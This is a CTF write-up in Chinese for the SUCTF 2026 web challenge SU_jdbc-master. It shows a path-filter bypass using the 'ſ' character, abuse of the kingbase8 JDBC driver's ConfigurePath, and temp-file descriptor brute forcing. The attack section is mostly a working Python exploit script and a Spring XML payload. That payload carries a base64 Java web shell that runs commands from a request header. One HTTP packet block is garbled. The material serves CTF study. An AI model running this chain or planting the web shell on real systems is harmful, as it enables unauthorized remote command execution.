本文首发于先知社区:https://xz.aliyun.com/news/91821
环境搭建 SU_jdbc-master.zip
1 2 docker build -t jdbc-master . docker-compose up
wp 学习!
鉴权绕过 明显的jdbc入口点
不过这里有个鉴权,首先是将PathInterceptor 这个拦截器注册进spring mvc中,拦截的所有路径
然后看看拦截规则,简单的就是匹配到suctf这几个字符就403即上面的jdbc入口点,这里对特殊字符也进行了过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 public class PathInterceptor implements HandlerInterceptor { public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { HttpServletRequest r = request; HttpServletResponse res = response; String servletPath = r.getServletPath(); if (servletPath != null && (servletPath.matches("(?i).*s\\W*u\\W*c\\W*t\\W*f.*" ) || servletPath.toLowerCase().contains("suctf" ) || servletPath.toLowerCase().replaceAll("[^a-z0-9]" , "" ).contains("suctf" ))) { res.setStatus(403 ); res.getWriter().write("blocked by filter" ); return false ; } return true ; } }
这里在WebConfig下有个配置matcher.setCaseSensitive(false); 即将caseSensitive 设置为了false,表示路由匹配不区分大小写,所以在匹配suctf的时候用的是equalsIgnoreCase 代表忽略大小写
这里绕过思路就是在路由匹配的时候能够匹配到suctf,而在做鉴权匹配到时候匹配不到suctf,AntPathMatcher 这里代表的是路由匹配器,先跟一下路由匹配逻辑
这里首先获取注册的路由,然后逐个和传入路由做匹配
然后equals一下匹配上了就返回了,没匹配上走else逻辑这里useSuffixPatternMatch 是false,不知道是不是默认的不过不重要,不会走这里的逻辑
跟进到match 中调用了doMatch 方法
中间的逻辑不细跟了最终调用matchStrings 方法
再跟进一下matchStrings 方法就到了一开始看的这儿了
跟进到equalsIgnoreCase 逻辑如果this和传入的不匹配就会进入regionMatches 中,这里this猜测是和传入的路由一个个匹配没匹配上就走后面的逻辑,没细跟这里
然后来到regionMatches ,这里用实际绕过的字符跟
总共3个条件不为空,和实际要匹配的长度一样,然后就是regionMatches返回true就算匹配上了
跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public boolean regionMatches (boolean ignoreCase, int toffset, String other, int ooffset, int len) { char ta[] = value; int to = toffset; char pa[] = other.value; int po = ooffset; if ((ooffset < 0 ) || (toffset < 0 ) || (toffset > (long )value.length - len) || (ooffset > (long )other.value.length - len)) { return false ; } while (len-- > 0 ) { char c1 = ta[to++]; char c2 = pa[po++]; if (c1 == c2) { continue ; } if (ignoreCase) { char u1 = Character.toUpperCase(c1); char u2 = Character.toUpperCase(c2); if (u1 == u2) { continue ; } if (Character.toLowerCase(u1) == Character.toLowerCase(u2)) { continue ; } } return false ; } return true ; }
这里的逻辑就是先原样匹配一下,没匹配上进入if,然后转大写匹配匹配上了就下一个字符做匹配,没匹配上就转小写再匹配匹配上了就下一个字符继续匹配,没匹配上就返回false了,即这里只要大小写其中一个能匹配上就行
很明显这里ſ 转大写后就是S 就能匹配上路由,再看鉴权那里的逻辑
全都是转小写,自然而然就能绕过了
JDBC利用 首先这里对jdbcurl有一层过滤,这里可以直接去掉/进行绕过如**jdbc:kingbase8:127.0.0.1:54321/test?a=1**或者不加IP和端口也行,会自己添加一个默认的
1 2 3 4 5 6 7 8 9 10 11 12 13 private void validateJdbcUrl (String jdbcUrl) throws UnsupportedEncodingException { if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) { throw new IllegalArgumentException ("jdbcUrl is empty" ); } if (jdbcUrl.trim().toLowerCase().contains(":/" ) || jdbcUrl.trim().toLowerCase().contains("/?" )) { throw new IllegalArgumentException ("Cannot contain special characters" ); } String jdbcUrlLower = jdbcUrl.toLowerCase(); for (String illegal : ILLEGAL_PARAMETERS) { if (!jdbcUrlLower.contains(illegal.toLowerCase())) continue ; throw new IllegalArgumentException ("Illegal parameter: " + illegal); } }
ILLEGAL_PARAMETERS过滤如下
1 2 private static final List<String> ILLEGAL_PARAMETERS = Arrays.asList("socketFactory" , "socketFactoryArg" , "sslfactory" , "sslhostnameverifier" , "sslpasswordcallback" , "authenticationPluginClassName" , "loggerFile" , "loggerLevel" );
两种过滤一个黑名单一个连接格式,这里给了两个jdbc的jar一个pgsql一个kingbase8,pgsql在42.3.6已经没法利用了,因为加了一个SocketFactory
然后检测是否是其子类
所以得看kingbase8,是pgsql的国产版,估计就是漏洞没修,但是默认获取的driver是pgsql的
这里是用的Jackson readValue进行反序列化有个Jackson反序列化的trick,反序列化的时候会调用反序列化类的setter方法,当传入的值中有driver就是设置为其传入的,没有就是默认的所以这里能造成属性值覆盖,没传入driver时只会调用其getter方法
当传入driver时就只会调用其setter方法
从而就能覆盖原本默认的pgsql的driver,总结如下
Jackson(以及其他大多数 JSON 反序列化框架)的工作方式是:
先创建对象实例(会执行默认值初始化)。
再根据 JSON 中的字段进行赋值。
如果 JSON 中有某个字段,它会覆盖对象的默认值。
如果 JSON 中没有某个字段,则对象的该字段会保留默认值。
然后就是绕过利用的黑名单,这里黑名单ban的就是CVE-2022-21724利用,这里跟进kingbase8的driver中可以看到能够从文件中加载属性进行初始化,跟进initJDBCCONF 函数
可以看到读取了文件进行加载
先随便用一组数据测试
1 2 socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext socketFactoryArg=http:
最终会来到如下位置
跟进发现最终会实例化socketFactory的参数,但是这里只能从本地加载数据,怎么传入我们想让其实例化的类呢?这里就是典型的没有上传场景怎么写入恶意数据到服务器中,参考https://xz.aliyun.com/news/17830 可以利用这篇文章中的trick,写入临时文件通过文件描述符爆破即可,写入的内容如下
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id="poc" class="java.lang.String" > <constructor-arg value=" socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext socketFactoryArg=file:/${catalina.home}/**/*.tmp " /> </bean> </beans>
数据包如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /api/connection HTTP/1.1 Host: 127.0 .0 .1 :8080 Accept-Encoding: gzip, deflate Accept: * *.tmp " /> </bean> </beans>
发完包后该文件生成成功,当请求结束该文件消失
其内容即我们上传的东西
后续就是利用p神的ClassPathXmlApplicationContext不出网利用方式即可,或者用wp中的类也行,形式如下
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import socketimport threadingimport timeimport requestsimport jsonfrom concurrent.futures import ThreadPoolExecutor, as_completed HOST = "127.0.0.1" PORT = 8080 URL = HOST + ":" + str(PORT) import socketimport timedef cache_tmp (fileName) : filepath = fileName with open (filepath, "rb" ) as f: raw_data = f.read().strip() data_hex = raw_data.hex() a = data_hex a = ( b"""POST /api/connection HTTP/1.1 Host: """ + URL.encode() + b""" Accept-Encoding: gzip, deflate Accept: */* Content-Type: multipart/form-data; boundary=xxxxxx User-Agent: python-requests/2.32.3 Content-Length: 1296800 --xxxxxx Content-Disposition: form-data; name="file"; filename="a.txt" {{payload}} """ .replace( b"\n" , b"\r\n" ).replace( b"{{payload}}" , bytes.fromhex(a) + b"\n" * 1024 * 124 ) ) s = socket.socket() s.connect((HOST, PORT)) s.sendall(a) time.sleep(1111111 ) def exp () : url = f"http://{HOST}:{PORT}/api/connection/%C5%BFuctf" headers = { "Host" : URL, "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "X-Authorization" : "ls /" , "Content-Type" : "application/json" , } def send_request (fd) : print(f"当前爆破到fd: {fd}" ) named_pipe_path = f"/proc/self/fd/{fd}" payload = { "urlType" : "jdbcUrl" , "driver" : "com.kingbase8.Driver" , "jdbcUrl" : f"jdbc:kingbase8:?ConfigurePath={named_pipe_path}" , "username" : "postgres" , "password" : "your_password" , } payload_json = json.dumps(payload).encode("utf-8" ) headers["Content-Length" ] = str(len(payload_json)) try : print(f"[exp] POST with fd={fd}" ) with requests.Session() as sess: r = sess.post(url, headers=headers, data=payload_json, timeout=5 ) print(r.text) time.sleep(2 ) return f"[exp] fd={fd} -> {r.status_code} len={len(r.content or b'')}" except Exception as e: return f"[exp] fd={fd} -> exception: {e}" with ThreadPoolExecutor (max_workers=10 ) as executor: futures = {executor.submit(send_request, fd): fd for fd in range (1 , 1000 ) } for future in as_completed (futures) : print(future.result()) t1 = threading.Thread(target=cache_tmp, args=("./evil.txt" ,)) t1.start() time.sleep(1 ) t2 = threading.Thread(target=cache_tmp, args=("./exp.xml" ,)) t2.start() time.sleep(1 ) exp()
回显马xml文件如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean" > <property name="staticMethod" value="javax.xml.bind.DatatypeConverter.parseBase64Binary" /> <property name="arguments" > <list> <value>yv66vgAAADIBOwEAWW9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL1J1bnRpbWVKc29uTWFwcGluZ0V4Y2VwdGlvbmJkZDg2N2FkM2U2ZDQ3YWI4YjNkMjE3M2U5ZTQ0YWEyBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAcMAAUABgoABAAJAQADcnVuDAALAAYKAAIADAEAEGdldFJlcUhlYWRlck5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAD1gtQXV0aG9yaXphdGlvbggAEAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcAEgEAE2phdmEvbGFuZy9UaHJvd2FibGUHABQBABBqYXZhL2xhbmcvVGhyZWFkBwAWAQAKZ2V0VGhyZWFkcwgAGAEAD2phdmEvbGFuZy9DbGFzcwcAGgEAEltMamF2YS9sYW5nL0NsYXNzOwcAHAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAHgAfCgAbACABABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACIBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAJAAlCgAjACYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACgAKQoAIwAqAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcALAEAB2dldE5hbWUMAC4ADwoAFwAvAQAEaHR0cAgAMQEAEGphdmEvbGFuZy9TdHJpbmcHADMBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwANQA2CgA0ADcBAAhBY2NlcHRvcggAOQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAOwA8CgAEAD0BAAZ0YXJnZXQIAD8BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABBAEIKABsAQwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkBwBFCgBGACYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwASABJCgBGAEoBAAhlbmRwb2ludAgATAEABnRoaXMkMAgATgEAB2hhbmRsZXIIAFABAA1nZXRTdXBlcmNsYXNzDABSADwKABsAUwEABmdsb2JhbAgAVQEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAVwBYCgAbAFkBACJvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0R3JvdXBJbmZvCABbAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwBdAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAXwBgCgBeAGEKABsALwEACnByb2Nlc3NvcnMIAGQBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwBmAQAEc2l6ZQEAAygpSQwAaABpCgBnAGoBABUoSSlMamF2YS9sYW5nL09iamVjdDsMAEgAbAoAZwBtAQADcmVxCABvAQAHZ2V0Tm90ZQgAcQEAEWphdmEvbGFuZy9JbnRlZ2VyBwBzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAB1AHYJAHQAdwEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DAB5AHoKAHQAewEACWdldEhlYWRlcggAfQEACWdldE1ldGhvZAwAfwAfCgAbAIAMAA4ADwoAAgCCAQALZ2V0UmVzcG9uc2UIAIQBAAlnZXRXcml0ZXIIAIYBAA5qYXZhL2lvL1dyaXRlcgcAiAEABmhhbmRsZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACKAIsKAAIAjAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDACOAI8KAIkAkAEABWZsdXNoDACSAAYKAIkAkwEABWNsb3NlDACVAAYKAIkAlgEABGV4ZWMBAAdvcy5uYW1lCACZAQAQamF2YS9sYW5nL1N5c3RlbQcAmwEAC2dldFByb3BlcnR5DACdAIsKAJwAngEAC3RvTG93ZXJDYXNlDACgAA8KADQAoQEAA3dpbggAowEABy9iaW4vc2gIAKUBAAItYwgApwEAB2NtZC5leGUIAKkBAAIvYwgAqwEAEWphdmEvbGFuZy9SdW50aW1lBwCtAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwArwCwCgCuALEBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DACYALMKAK4AtAEAEWphdmEvbGFuZy9Qcm9jZXNzBwC2AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAuAC5CgC3ALoBABFqYXZhL3V0aWwvU2Nhbm5lcgcAvAEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwABQC+CgC9AL8BAAJcYQgAwQEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAwwDECgC9AMUBAAAIAMcBAAdoYXNOZXh0AQADKClaDADJAMoKAL0AywEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwDNCgDOAAkBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsMANAA0QoAzgDSAQAEbmV4dAwA1AAPCgC9ANUBAAh0b1N0cmluZwwA1wAPCgDOANgBAApnZXRNZXNzYWdlDADaAA8KAAgA2wEAE1tMamF2YS9sYW5nL1N0cmluZzsHAN0BABNqYXZhL2lvL0lucHV0U3RyZWFtBwDfAQAGZXlKZVhBCADhAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgwA4wDkCgA0AOUBAAZsZW5ndGgMAOcAaQoANADoAQAGY2hhckF0AQAEKEkpQwwA6gDrCgA0AOwBABUoQylMamF2YS9sYW5nL1N0cmluZzsMAHkA7goANADvAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkMAPEA8goAdADzAQABLggA9QEAB2luZGV4T2YMAPcA8goANAD4AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwwA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 </list> </property> </bean> <bean id="classLoader" class="javax.management.loading.MLet" /> <bean id="clazz" factory-bean="classLoader" factory-method="defineClass" > <constructor-arg ref="decoder" /> <constructor-arg type="int" value="0" /> <constructor-arg type="int" value="5128" /> </bean> <bean factory-bean="clazz" factory-method="newInstance" /> </beans>
两个临时文件触发不是很稳定,没成功就重新生成一个新容器
参考 https://mp.weixin.qq.com/s/sqOEWVEyu9QHaSNsfByNUQ
https://github.com/team-su/SUCTF-2026/tree/main/web/SU_jdbc-master/exp